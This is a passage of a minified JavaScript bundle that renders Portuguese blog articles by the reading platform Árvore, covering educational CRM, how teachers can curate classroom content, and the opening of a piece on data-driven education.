per\\xedodo.\"]}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, ele permite maior visualiza\\xe7\\xe3o sobre como anda a sua campanha de matr\\xedcula escolar. \\xc9 poss\\xedvel identificar quais comunicados fizeram mais sucesso, quais tiveram menos ader\\xeancia com o p\\xfablico, separar as fam\\xedlias que ainda n\\xe3o realizaram a matr\\xedcula e criar uma jornada de comunica\\xe7\\xe3o para o p\\xf3s-matr\\xedcula, por exemplo.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Gest\\xe3o de pagamentos\"})}),/*#__PURE__*/e(\"p\",{children:\"O CRM Educacional tamb\\xe9m permite automatizar a gest\\xe3o e processos de pagamentos. Atrav\\xe9s da ferramenta, \\xe9 poss\\xedvel por exemplo programar lembretes para as fam\\xedlias e realizar comunicados importantes durante essa jornada.\"}),/*#__PURE__*/e(\"p\",{children:\"Por possuir op\\xe7\\xf5es de personaliza\\xe7\\xe3o, tamb\\xe9m \\xe9 poss\\xedvel fazer todo esse percurso de forma mais pr\\xf3xima e espec\\xedfica para cada fam\\xedlia da sua escola. \"}),/*#__PURE__*/e(\"p\",{children:\"Assim, ao inv\\xe9s de mandar um comunicado de atraso de mensalidade para todos os respons\\xe1veis da escola, por exemplo, voc\\xea pode direcionar essa mensagem para quem realmente faz sentido receb\\xea-la.\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Leia tamb\\xe9m: \"}),/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/controle-de-caixa-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"strong\",{children:\"Controle de caixa escolar: 12 dicas de como fazer\"})})})]}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/e(\"p\",{children:\"Em resumo, o CRM educacional \\xe9 uma ferramenta fundamental para ajudar as escolas a melhorar a capta\\xe7\\xe3o de fam\\xedlias e alunos e a ret\\xea-los por mais tempo. Al\\xe9m disso, a aplica\\xe7\\xe3o desta ferramenta facilita o trabalho da equipe de gest\\xe3o e permite \\xe0 escola oferecer um servi\\xe7o inovador.\"}),/*#__PURE__*/a(\"p\",{children:[\"Gostou do nosso conte\\xfado? Aproveite e baixe tamb\\xe9m nosso \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/materiais/guia-rematricula?utm_source=blog_arvore&utm_medium=referral&utm_content=banner_guia_rematricula&utm_campaign=blog_arvore2023\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Guia de Rematr\\xedculas\"})}),\". \\xc9 gratuito!\"]})]});export const richText4=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Vivemos na era da informa\\xe7\\xe3o. Hoje em dia, \\xe9 poss\\xedvel encontrar, a poucos cliques de dist\\xe2ncia, uma infinidade de conte\\xfado em diferentes formatos, linguagens e sobre todos os temas que imaginamos no mundo digital. Torna-se, portanto, cada vez mais urgente que n\\xf3s, inseridos nesse universo, saibamos fazer uma curadoria de conte\\xfado.\"}),/*#__PURE__*/e(\"p\",{children:\"Com a curadoria, conseguimos filtrar e organizar as informa\\xe7\\xf5es que fazem sentido para nossas necessidades. Considerando o ambiente de ensino e, partindo do princ\\xedpio que n\\xe3o \\xe9 qualquer conte\\xfado que vai para dentro da sala de aula, o professor precisa estar apto a exercer tamb\\xe9m o papel de curador. \"}),/*#__PURE__*/e(\"p\",{children:\"Por isso, hoje vamos falar da curadoria de conte\\xfado relevante no campo educacional. Como praticar em sala de aula, quais cuidados precisam ser tomados e outras dicas para voc\\xea, educador, que quer se aprofundar nessa pr\\xe1tica. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"A transforma\\xe7\\xe3o na curadoria de conte\\xfado \"})}),/*#__PURE__*/e(\"p\",{children:\"Antes de come\\xe7ar com os conceitos, \\xe9 preciso deixar claro que, na pr\\xe1tica, a maioria dos educadores j\\xe1 \\xe9 um curador de conte\\xfado. A partir do momento que ele leva para sala de aula materiais complementares para abordar um assunto planejado, para al\\xe9m da apostila ou livro did\\xe1tico, ele j\\xe1 desempenha esse papel. \"}),/*#__PURE__*/e(\"p\",{children:\"Ent\\xe3o, qual a diferen\\xe7a? A din\\xe2mica da proposta e a dimens\\xe3o das possibilidades. Antes da era digital, ou da era da informa\\xe7\\xe3o, os conte\\xfados presentes em livros, enciclop\\xe9dias, teses e artigos j\\xe1 se encontravam dispon\\xedveis para o uso educacional. Mas o acesso a tudo isso nem sempre era f\\xe1cil. \"}),/*#__PURE__*/a(\"p\",{children:[\"Com o advento da internet, encontrar conte\\xfado \\xe9 a coisa mais simples do mundo. \u201C\",/*#__PURE__*/e(\"em\",{children:\"Dar um google\"}),\"\u201D em um termo na barra de pesquisa para ler, assistir, ouvir ou at\\xe9 mesmo interagir sobre um determinado assunto \\xe9 algo que j\\xe1 faz parte da rotina de quem convive com a tecnologia. \"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que \\xe9 a curadoria de conte\\xfado educacional?\"})}),/*#__PURE__*/e(\"p\",{children:\"Dadas as circunst\\xe2ncias descritas, o fato \\xe9 que, hoje em dia, n\\xe3o basta pesquisar sobre um tema e consumir os resultados da pesquisa. \\xc9 preciso que essa sele\\xe7\\xe3o seja feita com cuidado, aten\\xe7\\xe3o e discernimento. \"}),/*#__PURE__*/e(\"p\",{children:\"A curadoria de conte\\xfado educacional se define, ent\\xe3o, como uma triagem, dentro de um vasto mundo de possibilidades. O objetivo \\xe9 averiguar confiabilidade, adequa\\xe7\\xe3o e outros par\\xe2metros que ser\\xe3o pertinentes ao uso previsto do material a ser selecionado. \"}),/*#__PURE__*/e(\"p\",{children:\"Sendo assim, ela funciona como um filtro feito pelo educador na busca ativa de conte\\xfados que v\\xe3o ser usados com seus estudantes na constru\\xe7\\xe3o da aprendizagem. A fim de garantir n\\xe3o s\\xf3 a qualidade do material, mas tamb\\xe9m sua integra\\xe7\\xe3o ao contexto escolar e \\xe0 intencionalidade pedag\\xf3gica. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Os desafios da curadoria de conte\\xfado\"})}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 preciso entender que junto da extens\\xe3o das possibilidades vem tamb\\xe9m a desconfian\\xe7a de que parte do que est\\xe1 dispon\\xedvel \\xe9 de qualidade. Por isso, \\xe9 essencial que qualquer usu\\xe1rio saiba fazer a diferencia\\xe7\\xe3o, principalmente quando o uso \\xe9 voltado ao processo de ensino e aprendizagem dos estudantes. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que \\xe9 preciso avaliar?\"})}),/*#__PURE__*/e(\"p\",{children:\"Diante dos desafios apontados e considerando a responsabilidade no compartilhamento de conte\\xfado, seguem alguns questionamentos que o educador pode fazer na hora de realizar uma curadoria de conte\\xfado na internet: \"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Qualidade:\"}),\" o conte\\xfado \\xe9 coerente e coeso na apresenta\\xe7\\xe3o das informa\\xe7\\xf5es? \\xc9 organizado e claro no desenvolvimento do tema? \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Linguagem:\"}),\" a linguagem utilizada \\xe9 adequada ao aluno de determinada faixa et\\xe1ria? O texto utiliza-se da norma culta da l\\xedngua portuguesa? Cont\\xe9m conte\\xfado impr\\xf3prio ou sens\\xedvel a certo p\\xfablico? \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Formato:\"}),\" \\xe9 um texto escrito? \\xc9 uma imagem? \\xc9 um v\\xeddeo? Qual formato faz mais sentido para sua aula? \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Fonte:\"}),\" Quem produziu esse material? \\xc9 um portal que possui credibilidade na \\xe1rea da educa\\xe7\\xe3o? \\xc9 uma refer\\xeancia no assunto? \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Dados:\"}),\" os dados s\\xe3o apresentados de forma clara e concreta? Ele cita a refer\\xeancia? S\\xe3o dados obtidos por pesquisa de uma institui\\xe7\\xe3o s\\xe9ria? \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Refer\\xeancia:\"}),\" o leitor consegue checar a veracidade da informa\\xe7\\xe3o atrav\\xe9s das fontes? As refer\\xeancias t\\xeam embasamento?\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Contexto:\"}),\" as informa\\xe7\\xf5es apresentadas dialogam com o contexto e com outros meios de comunica\\xe7\\xe3o? \\xc9 um dado muito discrepante ou sensacionalista? \"]})})]}),/*#__PURE__*/e(\"p\",{children:\"Os pontos citados n\\xe3o v\\xe3o definir, sozinhos, se um conte\\xfado \\xe9 confi\\xe1vel ou n\\xe3o. Aqui, o objetivo \\xe9 ajudar o professor a desconfiar e questionar na hora de realizar sua pesquisa. Quanto mais perguntas o leitor faz ao texto, mais ele direciona sua busca para resultados de qualidade. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Qualidade x Popularidade\"})}),/*#__PURE__*/e(\"p\",{children:\"O resultado de uma busca em uma plataforma de pesquisa \\xe9 apresentado em determinada ordem. E isso pode levar o educador a acreditar que os primeiros resultados s\\xe3o os melhores. Por\\xe9m, nem sempre \\xe9 isso que acontece. \"}),/*#__PURE__*/e(\"p\",{children:\"Existem os algoritmos, os conte\\xfados patrocinados, e tantas outras situa\\xe7\\xf5es que podem influenciar nos resultados e na sua apresenta\\xe7\\xe3o, mais relacionados \\xe0 popularidade do que \\xe0 qualidade. E, portanto, os conte\\xfados precisam ser analisados e experimentados pelo professor antes de serem levados para os alunos. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Fontes confi\\xe1veis na curadoria de conte\\xfado \"})}),/*#__PURE__*/e(\"p\",{children:\"Para evitar informa\\xe7\\xf5es falsas ou superficiais sobre um assunto, o educador deve selecionar ferramentas de busca em plataformas confi\\xe1veis, que s\\xe3o refer\\xeancias no trabalho com pesquisas, dados e produ\\xe7\\xe3o de conte\\xfado respons\\xe1vel. \"}),/*#__PURE__*/e(\"p\",{children:\"Faz parte da pesquisa das institui\\xe7\\xf5es de ensino, procurar por sites de institui\\xe7\\xf5es s\\xe9rias, que possuam credibilidade na \\xe1rea. \"}),/*#__PURE__*/a(\"p\",{children:[\"No \\xe2mbito educacional, existem os portais do \",/*#__PURE__*/e(o,{href:\"https://www.gov.br/mec/pt-br/centrais-de-conteudo\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Minist\\xe9rio da Educa\\xe7\\xe3o\"})}),\", do \",/*#__PURE__*/e(o,{href:\"https://cieb.net.br/downloads/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Centro de Inova\\xe7\\xe3o para a Educa\\xe7\\xe3o Brasileira\"})}),\", al\\xe9m de empresas, como a \\xc1rvore, que produzem conte\\xfado e s\\xe3o refer\\xeancias dentro de suas \\xe1reas do conhecimento. \"]}),/*#__PURE__*/e(\"p\",{children:\"Caso voc\\xea, professor, se depare com material super interessante que n\\xe3o necessariamente est\\xe1 dentro desses canais, procure saber questionar de acordo com o que foi sugerido acima. Assim, \\xe9 poss\\xedvel desenvolver seu olhar cr\\xedtico e fazer uma escolha acertada. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Passo a passo na curadoria de conte\\xfado educacional \"})}),/*#__PURE__*/e(\"p\",{children:\"Agora que j\\xe1 passamos pelo conceito e os desafios da curadoria de conte\\xfado, vamos apresentar um passo a passo de como o educador pode realiz\\xe1-la: \"}),/*#__PURE__*/a(\"ol\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Defini\\xe7\\xe3o do tema:\"}),\" essa etapa vai partir do planejamento pedag\\xf3gico do educador para a aula em quest\\xe3o \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Pesquisa:\"}),\" \\xe9 a fase da busca nos portais indicados ou outros recursos de tecnologia educacional. O ideal \\xe9 partir desses ambientes para as redes sociais, por exemplo. E, assim, garantir que o indicado j\\xe1 foi verificado por plataformas confi\\xe1veis. \\xa0 \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Organiza\\xe7\\xe3o de resultados:\"}),\" ao obter os resultados da pesquisa, v\\xe1 selecionando o que, em uma primeira e breve an\\xe1lise, parece fazer sentido para seu objetivo pedag\\xf3gico. \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Verifica\\xe7\\xe3o dos conte\\xfados: \"}),\"agora \\xe9 hora de se aprofundar no que foi selecionado, entender a adequa\\xe7\\xe3o da linguagem, da abordagem e do conte\\xfado como um todo ao projeto pol\\xedtico pedag\\xf3gico da escola e \\xe0 faixa et\\xe1ria dos estudantes.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Sele\\xe7\\xe3o dos materiais:\"}),\" ap\\xf3s a an\\xe1lise, voc\\xea poder\\xe1 selecionar de acordo com o tempo dispon\\xedvel das aulas e de intera\\xe7\\xe3o dos estudantes. \"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Integra\\xe7\\xe3o dos conte\\xfados:\"}),\" a \\xfaltima fase do processo \\xe9 a integra\\xe7\\xe3o - que, na pr\\xe1tica, ser\\xe1 feita ao longo de todas as etapas - entendendo que os conte\\xfados selecionados devem estar em di\\xe1logo com o processo de ensino e aprendizagem, e o objetivo pedag\\xf3gico estabelecido. \"]})})]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"De olho na BNCC \"})}),/*#__PURE__*/a(\"p\",{children:[\"No processo de curadoria de conte\\xfado para a educa\\xe7\\xe3o, o professor vai se deparar com muitos conte\\xfados que n\\xe3o se encaixam nos requisitos estabelecidos pela \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/bncc-curriculo-escolar\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"BNCC\"})}),\". \"]}),/*#__PURE__*/e(\"p\",{children:\"Uma possibilidade que enriquece muito a aprendizagem - claro que dependendo do prop\\xf3sito da aula - \\xe9 a utiliza\\xe7\\xe3o do que n\\xe3o seria selecionado para fins pedag\\xf3gicos. Ou seja, uma das propostas \\xe9 que os alunos verifiquem o que tem de \u201Cerrado\u201D ou \u201Cinadequado\u201D no material. \"}),/*#__PURE__*/e(\"p\",{children:\"Esse caminho vai al\\xe9m da constru\\xe7\\xe3o do conhecimento em si, ele permite orientar o estudante na hora de fazer sua pr\\xf3pria pesquisa. Dar ferramentas para consumir e produzir conte\\xfado de forma cr\\xedtica em seu percurso formativo. \"}),/*#__PURE__*/a(\"p\",{children:[\"A compet\\xeancia geral 5 da \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/abase\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Base Nacional Comum Curricular\"})}),\" aponta a necessidade dessa orienta\\xe7\\xe3o, principalmente quando se trata de conte\\xfados no meio digital. Conforme diz o texto: \"]}),/*#__PURE__*/e(\"p\",{children:/*#__PURE__*/e(\"em\",{children:\"\u201CCompreender, utilizar e criar tecnologias digitais de informa\\xe7\\xe3o e comunica\\xe7\\xe3o de forma cr\\xedtica, significativa, reflexiva e \\xe9tica nas diversas pr\\xe1ticas sociais (incluindo as escolares) para se comunicar, acessar e disseminar informa\\xe7\\xf5es, produzir conhecimentos, resolver problemas e exercer protagonismo e autoria na vida pessoal e coletiva.\u201D\"})}),/*#__PURE__*/a(\"h2\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Conte\\xfado e metodologias ativas\"}),\" \"]}),/*#__PURE__*/a(\"p\",{children:[\"Uma das estrat\\xe9gias das \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/metodologias-ativas-de-aprendizagem\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"metodologias ativas de aprendizagem\"})}),\" \\xe9 o uso da \u201Csala de aula invertida\u201D. Onde inverte-se a ordem de constru\\xe7\\xe3o do conhecimento, em rela\\xe7\\xe3o ao modelo de aula tradicional. \"]}),/*#__PURE__*/e(\"p\",{children:\"Nesse contexto, a curadoria de conte\\xfado seria o resultado de uma aula nesse formato. Ou seja, os alunos v\\xe3o pesquisar sobre o tema e, posteriormente, o professor vai atuar como um orientador na media\\xe7\\xe3o da aprendizagem. \"}),/*#__PURE__*/e(\"p\",{children:\"Dessa forma, torna-se fundamental que o estudante saiba tamb\\xe9m realizar essa pesquisa de forma cr\\xedtica, questionadora, curiosa e atenta. E quem vai guiar esses passos ser\\xe1 o educador. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como a \\xc1rvore pode te ajudar na curadoria de conte\\xfado \"})}),/*#__PURE__*/e(\"p\",{children:\"A \\xc1rvore \\xe9 uma plataforma digital de leitura para escolas e que, por isso, tem enorme cuidado e responsabilidade com o que disponibiliza aos seus leitores. \"}),/*#__PURE__*/e(\"p\",{children:\"Tanto na plataforma de Livros, quanto na plataforma de Atualidades, o educador pode ficar tranquilo na hora de selecionar conte\\xfado para suas aulas ou propor que os alunos pesquisem sobre um assunto. \\xa0\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Curadoria de conte\\xfado na \\xc1rvore\"})}),/*#__PURE__*/a(\"p\",{children:[\"A \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/solucoes\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"\\xc1rvore \"})}),\" conta com um vasto acervo de livros liter\\xe1rios e de materiais pedag\\xf3gicos que podem facilitar a vida do educador na hora de realizar uma curadoria de conte\\xfado educacional. \"]}),/*#__PURE__*/e(\"p\",{children:\"Para levantar e selecionar materiais, o educador e o aluno podem fazer busca por termo, autor, palavra-chave, editora e refinar os resultados da pesquisa com os filtros de cataloga\\xe7\\xe3o. \"}),/*#__PURE__*/e(\"p\",{children:\"Todos os livros que comp\\xf5em o amplo acervo da \\xc1rvore passam por um processo de cataloga\\xe7\\xe3o interna com especialistas para serem disponibilizados de forma adequada e para que possam ser encontrados facilmente atrav\\xe9s da busca. \"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, a nossa equipe tamb\\xe9m realiza a curadoria do acervo para que o leitor possa visualizar de forma r\\xe1pida e \\xe1gil os livros de temas interessantes \\xe0 escola. Os resultados desse processo s\\xe3o vistos em forma de prateleiras, cole\\xe7\\xf5es e categorias nas quais o usu\\xe1rio navega para pesquisar, selecionar e realizar leituras. \"}),/*#__PURE__*/e(\"p\",{children:\"Para o professor, ainda est\\xe3o dispon\\xedveis materiais pedag\\xf3gicos que v\\xe3o apoiar no trabalho com determinado t\\xedtulo ou assunto. A equipe de conte\\xfado pedag\\xf3gico elabora, dentro das possibilidades do acervo, propostas de atividades, reflex\\xf5es, projetos que v\\xe3o levar a leitura para al\\xe9m do livro lido e promover uma aprendizagem mais significativa. \"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Curadoria de conte\\xfado na \\xc1rvore Atualidades \"})}),/*#__PURE__*/a(\"p\",{children:[\"Em \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/solucoes\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Atualidades\"})}),\", nosso conte\\xfado autoral \\xe9 produzido por uma equipe de jornalistas que trabalha com fontes seguras e dados concretos na elabora\\xe7\\xe3o de mat\\xe9rias e reportagens. \"]}),/*#__PURE__*/e(\"p\",{children:\"Nossos parceiros, que disponibilizam revistas e jornais de circula\\xe7\\xe3o nacional e internacional na plataforma, tamb\\xe9m s\\xe3o refer\\xeancias de credibilidade no campo jornal\\xedstico. \"}),/*#__PURE__*/e(\"p\",{children:\"O levantamento de informa\\xe7\\xe3o \\xe9 feito atrav\\xe9s da busca e aplica\\xe7\\xe3o de filtros. Mas o usu\\xe1rio ainda conta com a possibilidade de pesquisar por cole\\xe7\\xf5es e mat\\xe9rias mais atuais na p\\xe1gina inicial. \"}),/*#__PURE__*/e(\"p\",{children:\"Para o professor, todas as editorias autorais contam com atividades de pr\\xe9 e p\\xf3s leitura que v\\xe3o explorar o texto atrav\\xe9s de mobiliza\\xe7\\xe3o de conhecimento pr\\xe9vio e constru\\xe7\\xe3o da aprendizagem. \"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Conte\\xfado \\xc1rvore nas redes \"})}),/*#__PURE__*/e(\"p\",{children:\"Nossos canais e redes sociais tamb\\xe9m produzem frequentemente conte\\xfado gratuito para apoiar o educador, tanto na hora da curadoria de conte\\xfado (selecionar livros, por exemplo) quanto para aprender sobre um tema ligado \\xe0 leitura e \\xe0 tecnologia. \"}),/*#__PURE__*/a(\"p\",{children:[\"No \",/*#__PURE__*/e(o,{href:\"https://www.youtube.com/c/Leiana%C3%81rvore\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Youtube\"})}),\", \",/*#__PURE__*/e(o,{href:\"https://www.instagram.com/leianaarvore/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Instagram\"})}),\" e aqui no nosso Blog, as publica\\xe7\\xf5es em diferentes formatos v\\xe3o enriquecer seu percurso formativo e apontar caminhos, propor pr\\xe1ticas e trocas que podem potencializar o trabalho em sala de aula. \"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Converse, troque, compartilhe!\"})}),/*#__PURE__*/e(\"p\",{children:\"Na hora de fazer uma curadoria de conte\\xfado educacional, estabelecer redes de trocas pode ser um diferencial para auxiliar na garantia da qualidade dos materiais escolhidos. \"}),/*#__PURE__*/e(\"p\",{children:\"Seja na pr\\xf3pria escola ou, atrav\\xe9s da internet, se conectar com outros educadores que tamb\\xe9m est\\xe3o em sala de aula \\xe9 inspirador! Assim, eles podem trocar pr\\xe1ticas, indicar conte\\xfados e sugerir atividades que j\\xe1 tenham sido experimentadas. \"}),/*#__PURE__*/a(\"p\",{children:[\"A \\xc1rvore tamb\\xe9m pode apoiar o educador nesse processo. Atrav\\xe9s do programa \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/semeadores\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Semeadores de Leitura\"})}),\", uma comunidade de educadores da \\xc1rvore apaixonados por leitura. \"]}),/*#__PURE__*/e(\"p\",{children:\"O programa \\xe9 um espa\\xe7o gratuito de trocas de experi\\xeancias e pr\\xe1ticas, criado para que educadores de escolas parceiras possam compartilhar suas experi\\xeancias cotidianas, discutir desafios e juntos encontrar possibilidades de supera\\xe7\\xe3o. \"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/e(\"p\",{children:\"Educador, gostou das nossas dicas para fazer uma curadoria de conte\\xfado para suas aulas? Todas as dicas e conceitos apresentados podem e devem ser adaptados \\xe0 sua realidade escolar.\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 importante lembrar que, quanto mais voc\\xea desempenha esse papel de curador, principalmente dentro de uma \\xe1rea espec\\xedfica, mais f\\xe1cil fica o processo. A pr\\xe1tica vai te ajudar a construir repert\\xf3rio e criar um olhar cada vez mais atento aos conte\\xfados em seus diferentes n\\xedveis de qualidade e profundidade. \"}),/*#__PURE__*/e(\"p\",{children:\"Te desejamos uma boa curadoria de conte\\xfado e at\\xe9 o pr\\xf3ximo texto! \"})]});export const richText5=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"No mundo atual, a tecnologia e a coleta de dados t\\xeam transformado diversos setores, e a educa\\xe7\\xe3o n\\xe3o \\xe9 exce\\xe7\\xe3o. O Data Driven Education, ou Educa\\xe7\\xe3o Orientada por Dados, tem emergido como uma abordagem inovadora. \"}),/*#__PURE__*/e(\"p\",{children:\"Ela surge para melhorar o aprendizado e o desempenho dos alunos no dia a dia das institui\\xe7\\xf5es de ensino. Afinal, os dados gerados podem trazer muitas melhorias na educa\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"p\",{children:\"Neste artigo, vamos explorar o que \\xe9 o Data Driven Education, por que \\xe9 importante us\\xe1-lo e como aplic\\xe1-lo. Al\\xe9m disso, ofereceremos dicas pr\\xe1ticas para o uso de dados na educa\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"h2\",{children:\"O que \\xe9 Data Driven Education?\"}),/*#__PURE__*/e(\"p\",{children:\"Data Driven Education refere-se \\xe0 utiliza\\xe7\\xe3o de dados e an\\xe1lises para informar e direcionar a tomada de decis\\xf5es relacionadas \\xe0 educa\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"p\",{children:\"Por meio dessa abordagem, os educadores podem coletar, analisar e interpretar dados sobre o desempenho dos alunos. Al\\xe9m de conferir seu progresso e seus estilos de aprendizagem.\"}),/*#__PURE__*/e(\"p\",{children:\"Essas informa\\xe7\\xf5es podem ser usadas para personalizar a instru\\xe7\\xe3o e identificar \\xe1reas de melhoria. Podem ser usadas ainda para ajustar as estrat\\xe9gias de ensino de forma a atender melhor \\xe0s necessidades individuais dos alunos.\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp\",srcSet:\"https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp?scale-down-to=512 512w,https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/hedhQvS9E2kYREqWOPK00p3HBAk.webp 1200w\"}),/*#__PURE__*/e(\"h2\",{children:\"Por que usar dados na educa\\xe7\\xe3o?\"}),/*#__PURE__*/e(\"p\",{children:\"Existem v\\xe1rias raz\\xf5es pelas quais o uso de dados na educa\\xe7\\xe3o \\xe9 ben\\xe9fico. Em primeiro lugar, os dados fornecem informa\\xe7\\xf5es objetivas e baseadas em evid\\xeancias sobre o desempenho dos alunos.\"}),/*#__PURE__*/e(\"p\",{children:\"Ao inv\\xe9s de depender apenas de intui\\xe7\\xf5es ou suposi\\xe7\\xf5es, os educadores podem tomar decis\\xf5es informadas com base em dados concretos.\"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, o Data Driven Education permite uma abordagem personalizada para o ensino. Cada aluno tem necessidades e estilos de aprendizagem diferentes. O uso de dados pode ajudar os educadores a identificar essas diferen\\xe7as e adaptar sua instru\\xe7\\xe3o de acordo.\"}),/*#__PURE__*/e(\"p\",{children:\"Isso resulta em um ensino mais eficaz, que leva em considera\\xe7\\xe3o as caracter\\xedsticas individuais de cada aluno.\"}),/*#__PURE__*/e(\"p\",{children:\"Outra vantagem do uso de dados na 